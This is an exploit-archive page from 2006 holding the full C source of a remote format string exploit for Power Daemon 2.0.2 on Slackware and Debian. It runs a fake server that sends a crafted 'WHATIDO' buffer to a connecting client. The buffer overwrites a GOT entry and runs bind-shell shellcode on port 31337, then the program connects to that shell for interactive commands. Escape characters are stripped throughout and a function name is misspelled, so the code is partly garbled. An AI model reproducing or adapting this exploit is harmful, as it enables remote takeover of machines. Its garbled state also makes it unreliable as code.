[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Power Daemon <= 2.0.2 (WHATIDO) Remote Format String Exploit
# Published : 2006-02-10
# Author : Gotfault Security
# Previous Title : MS Windows Color Management Module Overflow Exploit (MS05-036) (2)
# Next Title : OpenVMPSd <= 1.3 Remote Format String Exploit (Multiple Targets)
/*
* gexp-powerd.c
*
* Power Daemon v2.0.2 Remote Format String Exploit
* Copyright (C) 2005 Gotfault Security
*
* Bug found and developed by: barros and xgc
*
* Original Reference:
* http://gotfault.net/research/exploit/gexp-powerd.c
*
*/
#include <getopt.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <errno.h>
#include <netinet/in.h>
#include <stdio.h>
/*==[ Prototypes ]==*/
void fatal(char *);
void Usage(char *);
void FakeServer(char *,int);
void ExecuteShell(int);
int CreateEvilBuffer(int,int,int,int,char *);
int ConnectToShell(char *,int);
/*==[ Defines ]==*/
#define DEFAULT_PORT 532 // Default fake server port
#define BIND_PORT 31337 // Default port to bind
#define NOPSIZE 50 // Number of NOP
#define NOP 0x90 // NOP byte
#define PAD "" // Format string alignment
#define PORT_OFFSET 29 // Offset to fix the shellcode
#define STDIN 0
#define STDOUT 1
/*==[ Targets ]==*/
struct
{
char *Name;
int Gotaddr;
int Retaddr;
int Pop;
}Targets[] =
{
"Power Daemon v2.0.2 @ Slackware 10.0",
0x0804c180,
0xbffff2d4,
17,
"Power Daemon v2.0.2 @ Debian 3.1 Linux",
0x0804c198,
0xbffff16c,
27,
// Finish
0,
0,
0,
0
};
/*==[ Shellcode by Marco Ivaldi <raptor@0xdeadbeef.info> ]==*/
char shellcode[] =
"x31xc0x31xdbxb0x17xcdx80"
"x31xdbxf7xe3xb0x66x53x43x53x43x53x89xe1x4bxcdx80"
"x89xc7x52x66x68"
"BP" // Port to bind
"x43x66x53x89xe1xb0x10x50x51x57x89xe1xb0x66xcdx80"
"xb0x66xb3x04xcdx80"
"x50x50x57x89xe1x43xb0x66xcdx80"
"x89xd9x89xc3xb0x3fx49xcdx80"
"x41xe2xf8x51x68n/shx68//bix89xe3x51x53x89xe1xb0x0bxcdx80";
int main(int argc, char **argv)
{
extern char *optarg;
extern int optind;
char opt;
char *Host = NULL;
int Port = DEFAULT_PORT;
int BindPort = BIND_PORT;
int TargetNumber = -1;
int Sock,i;
char EvilBuffer[1024];
int BufLen;
fprintf(stdout,"n--=[ Power Daemon Remote Format String Exploit ]nn");
// Process arguments
while ( (opt = getopt(argc,argv,"t:p:r:")) != EOF)
{
switch(opt)
{
case 'r':
BindPort = atoi(optarg);
if(!BindPort) Usage(argv[0]);
break;
case 'p':
Port = atoi(optarg);
if(!Port) Usage(argv[0]);
break;
case 't':
TargetNumber = atoi(optarg);
break;
default: Usage(argv[0]);
break;
}
}
// Verify target
for(i=0;;i++)
if(Targets[i].Name == 0) break;
if(TargetNumber == -1) Usage(argv[0]);
fprintf(stdout,"[*] Plataform : %sn",Targets[TargetNumber].Name);
fprintf(stdout,"[*] Target GOT : %#010xn",Targets[TargetNumber].Gotaddr);
fprintf(stdout,"[*] Target Retaddr : %#010xn",Targets[TargetNumber].Retaddr);
fprintf(stdout,"[*] Bind to port : %un",BindPort);
fprintf(stdout,"[*] Target POP : %dnn",Targets[TargetNumber].Pop);
CreateEvilBuffer(Targets[TargetNumber].Gotaddr,Targets[TargetNumber].Retaddr,Targets[TargetNumber].Pop,BindPort,EvilBuffer);
FakeServer(EvilBuffer, BindPort);
}
void FakeServer(char *EvilBuffer, int BindPort) {
int sock, newsock, i, reuseaddr = 1;
struct sockaddr_in remoteaddr;
struct sockaddr_in localaddr;
int addrlen = sizeof(struct sockaddr_in);
struct hostent *he;
localaddr.sin_family = AF_INET;
localaddr.sin_port = htons(DEFAULT_PORT);
localaddr.sin_addr.s_addr = INADDR_ANY;
bzero(&(localaddr.sin_zero), 8);
fprintf(stdout,"[*] Creating Fake Server : ");
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
perror(" socket()");
printf("n");
exit(1);
}
if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &reuseaddr,
(socklen_t)sizeof(reuseaddr)) < 0) {
perror(" setsockopt()");
printf("n");
exit(1);
}
if (bind(sock, (struct sockaddr *)&localaddr, sizeof(localaddr)) < 0) {
perror(" bind()");
printf("n");
exit(1);
}
if (listen(sock, 1) < 0) {
perror(" listen()");
printf("n");
exit(1);
}
fprintf(stdout, "donen");
printf("[*] Waiting Client : ");
fflush(stdout);
if ((newsock = accept(sock, (struct sockaddr *)&remoteaddr, &addrlen)) < 0) {
perror(" accept()");
printf("n");
exit(1);
}
if (getpeername(newsock, (struct sockaddr *)&remoteaddr, &addrlen) < 0) {
perror(" getpeername()");
printf("n");
exit(1);
}
fprintf(stdout, "donen");
fprintf(stdout, "[*] Host Connected : %s:%un", inet_ntoa(remoteaddr.sin_addr), ntohs(remoteaddr.sin_port));
fprintf(stdout, "[*] Sending EvilBuffer : ");
if(send(newsock,EvilBuffer,strlen(EvilBuffer)+1,0) == -1) {
fatal("send()");
}
fprintf(stdout, "donenn");
memset(EvilBuffer, 0x00, sizeof(EvilBuffer));
strcpy(EvilBuffer, (char *)inet_ntoa(remoteaddr.sin_addr));
close(newsock);
sleep(1);
newsock = ConectToShell(EvilBuffer,BindPort);
if(newsock == -1) {
fprintf(stdout,"[*] Exploit Failed.nn");
exit(0);
}
else {
fprintf(stdout,"[*] Spawning Shell...nn");
ExecuteShell(newsock);
close(newsock);
}
fflush(stdout);
}
int CreateEvilBuffer(int GOT, int RETADDR, int POP, int BINDTOPORT, char *buffer)
{
char *nops = malloc(NOPSIZE+1);
char *ptr;
unsigned short *len;
unsigned short *portPtr = (unsigned short *)(shellcode+PORT_OFFSET);
// Fix shellcode
*portPtr = htons(BINDTOPORT);
ptr = buffer;
// Create Nops
bzero(nops,NOPSIZE+1);
memset(nops,NOP,NOPSIZE);
fprintf(stdout, "[*] Creating EvilBuffer : ");
// Create format string attack
sprintf(ptr,"WHATIDO "
PAD
"%c%c%c%c"
"%c%c%c%c"
"%%.%dd"
"%%%d$hn"
"%%.%dd"
"%%%d$hn"
"%s%s",
((u_long)GOT),
((u_long)GOT >> 8),
((u_long)GOT >> 16),
((u_long)GOT >> 24),
((u_long)GOT+2),
(((u_long)GOT+2) >> 8),
(((u_long)GOT+2) >> 16),
(((u_long)GOT+2) >> 24),
((RETADDR & 0x0000FFFF) - 26),
POP,
(((RETADDR & 0xFFFF0000)>>16) + 0x10000 - (RETADDR & 0x0000FFFF)),
POP+1,nops,shellcode);
fprintf(stdout, "donen");
fflush(stdout);
return (strlen(ptr));
}
int ConectToShell(char *Host,int Port)
{
struct sockaddr_in server;
struct hostent *hp;
int s;
server.sin_family = AF_INET;
hp = gethostbyname(Host);
if(!hp) return(-1);
memcpy(&server.sin_addr,hp->h_addr,hp->h_length);
server.sin_port = htons(Port);
s = socket(PF_INET,SOCK_STREAM,0);
if(connect(s,(struct sockaddr *)&server, sizeof(server)) < 0)
return(-1);
return(s);
}
void ExecuteShell(int Sock)
{
char buffer[1024 * 10];
int count;
fd_set readfs;
write(Sock,"uname -a;idn",12);
while(1)
{
FD_ZERO(&readfs);
FD_SET(STDIN, &readfs);
FD_SET(Sock, &readfs);
if(select(Sock + 1, &readfs, NULL, NULL, NULL) > 0)
{
if(FD_ISSET(STDIN, &readfs))
{
if((count = read(STDIN, buffer, 1024)) <= 0)
{
if(errno == EWOULDBLOCK || errno == EAGAIN)
continue;
else
{
close(Sock);
exit(-1);
}
}
write(Sock, buffer, count);
}
if(FD_ISSET(Sock, &readfs))
{
if((count = read(Sock, buffer, 1024)) <= 0)
{
if(errno == EWOULDBLOCK || errno == EAGAIN)
continue;
else
{
close(Sock);
exit(-1);
}
}
write(STDOUT, buffer, count);
}
}
}
}
void fatal(char *ErrorMsg)
{
fprintf(stderr,"ERROR - %snn",ErrorMsg);
exit(1);
}
void Usage(char *Prog)
{
int i;
fprintf(stderr, "Usage: %s <options>nn"
"Options:nn"
" -t target : Select the targetn"
" -p portnumber : Sets a new port number <default: %d>n"
" -r bindport : Sets the port to bind a shell <default: %d>nn"
"Targets:nn",Prog,DEFAULT_PORT,BIND_PORT);
for(i=0;;i++)
{
if(Targets[i].Name != 0)
fprintf(stderr," [%u] %sn",i,Targets[i].Name);
else
break;
}
fprintf(stderr,"n");
exit(1);
}
// www.Syue.com [2006-02-10]